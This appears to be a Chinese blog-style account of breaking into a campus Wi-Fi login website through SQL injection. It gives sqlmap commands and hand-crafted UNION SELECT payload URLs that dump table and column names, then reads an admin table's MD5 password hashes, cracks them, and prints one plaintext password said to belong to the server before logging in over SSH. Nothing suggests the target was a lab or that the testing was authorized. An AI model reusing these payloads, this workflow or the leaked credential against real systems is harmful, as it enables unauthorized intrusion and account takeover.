首先注入点是这里,其实原来右边是没有这个通知公告的,加了以后就加出问题来了,这个其实是一个用于登录校园网wifi的网站
网址http://***/index.php/index/notice/id/1
点进去是一个上网须知
怀疑id/1中 1为注入点,上sqlmap!!
sqlmap -u "http://***/index.php/index/notice/id/*" --level 3
跑出来发现是一个注入点
然后接下来 --dbs
得到库名后用-D radius --tables看下表,这时候已经出现一些报错了
用–columns看列名但是发现看不了
一开始以为是编码的问题,试了各种tamper,均失败。具体为什么失败还不清楚,推测可能是sqlmap构造的语句正好不能被解析,或者是由于其他后台的配置问题,直接查看sqlmap提供的payload尝试手注
sqlmap提供的payloadurl,一般是最后一个数字是回显点,如果不是多试下就行
在浏览器使用sqlmap提供的payload:
http://***/index.php/index/notice/id/')%20UNION%20ALL%20SELECT%206351,CONCAT(0x7170707a71,0x4e6c47467853666e5852614e6e625a6256474f7455556c4e717a7843686146636472506b5a657847,0x71766a7671),6351,6351,6351,6666%20--%20-
把6666替换成user()函数,发现是一个回显点
6351,6351,6351,6666-》6351,6351,6351,user()
尝试使用
http://***/index.php/index/notice/id/')%20UNION%20ALL%20SELECT%206351,CONCAT(0x7170707a71,0x4e6c47467853666e5852614e6e625a6256474f7455556c4e717a7843686146636472506b5a657847,0x71766a7671),6351,6351,6351,group_concat(table_name)%20from%20information_schema.tables where table_schema=database()%20--%20-
来查看所有的表
这里能看到很多表名,但是sqlmap跑不出来
使用-v 参数来看请求细节,发现很多请求都自动转到了登录页面
尝试查看列名
http://***/index.php/index/notice/id/')%20UNION%20ALL%20SELECT%206351,CONCAT(0x7170707a71,0x4e6c47467853666e5852614e6e625a6256474f7455556c4e717a7843686146636472506b5a657847,0x71766a7671),6351,6351,6351,group_concat(COLUMN_NAME)%20from%20information_schema.columns%20where%20table_name='E$_radusertemp'%20--%20-
在几次尝试后发现只能看到第一个表的列名,就是sqlmap能跑出来的唯一一个表,其他都看不到
猜测radadmin是管理员信息,但是不知道列名,只能一个个试,发现password能回显出来
是md5值,其中第一个和第三个放到soMD5能解密出来
其中第一个p@ss4sunrise是服务器的密码,直接拿ssh连就行了,到此完成渗透,不过还是有些问题没搞懂
1.为啥sqlmap只能跑出一个表且无法获得列名
2.为啥只能查询第一个表的列名,其他表无法查到列名但是却可以读到数据
3.总的来说还是要用sqlmap看有没有注入点,实际情况还是需要通过手注解决问题